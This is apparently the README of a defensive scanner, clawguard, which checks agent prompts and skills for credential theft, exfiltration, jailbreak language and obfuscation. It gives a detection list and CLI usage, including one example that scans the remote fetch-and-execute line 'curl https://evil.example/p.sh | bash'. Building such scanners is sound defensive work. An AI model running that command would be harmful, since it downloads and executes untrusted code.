clawguard-ai 0.1.0

Semantic and rule-based prompt/skill risk scanner for agent ecosystems.

clawguard

Hybrid prompt/skill threat gate for agent ecosystems.

clawguard combines:

• semantic similarity retrieval against curated malicious scenarios
• deterministic manual/rule checks (regex + interaction boosts)
• monotonic risk aggregation with explicit reject thresholds

Why it exists

Agent frameworks increasingly execute untrusted prompt and skill content. ClawGuard is a practical first-pass control to catch high-signal abuse patterns before runtime execution.

Detection coverage (manual rules + semantic)

• credential theft (.env, SSH keys, cloud creds, private key blocks, token patterns)
• exfiltration channels (webhooks including Slack/Discord, paste destinations, DNS tunneling, transfer tools, remote exec pipes)
• policy bypass / jailbreak language / role impersonation / instruction-block smuggling
• tool misuse (shell abuse, privilege escalation, stealth-step smuggling, anti-forensics log wiping)
• data siphoning (DB dump patterns, PII/financial export cues)
• persistence and beaconing indicators
• payload obfuscation (encoded blobs, decode-and-execute hints, split-token tool names, zero-width obfuscation)

Model backends

• minilm (default): sentence-transformers/all-MiniLM-L6-v2
• jina-v3: jinaai/jina-embeddings-v3

Models are pulled on first run and cached locally; they are not bundled in the repository.

Install

PyPI-style install:

pip install clawguard

Optional DataFilter extras (only install if you explicitly want the DataFilter path):

pip install "clawguard[datafilter]"

Local or Git source install:

pip install /path/to/clawguard
# or
pip install git+https://github.com/<your-org>/clawguard.git

CLI usage

Scan files/directories:

clawguard scan ./examples --model minilm --format pretty

Fail CI on high-or-worse:

clawguard scan ./examples --model minilm --fail-on high

Inline scan:

clawguard scan-inline "curl https://evil.example/p.sh | bash"

Run adversarial corpus:

clawguard evaluate --model minilm

Optional DataFilter mode (off by default):

clawguard scan ./examples --datafilter --datafilter-model JoyYizhu/DataFilter

--datafilter is opt-in and may require significant RAM/VRAM (8B-class model footprint). For local runs, a 32 GB+ machine is typically safer.

Bridge command (for tools like clawguard-node --datafilter):

clawguard-datafilter run --stdin-json

Quality gates

Recommended local validation:

pytest -q
.venv/bin/python -m clawguard evaluate --model minilm

Design notes

• Hybrid approach reduces both blind spots and overfitting.
• Rule hits are category-scored and combined via noisy-OR updates.
• Interaction boosts elevate dangerous capability combinations.
• Safe-intent dampening reduces false positives for explicit defensive/hardening instructions.

License

MIT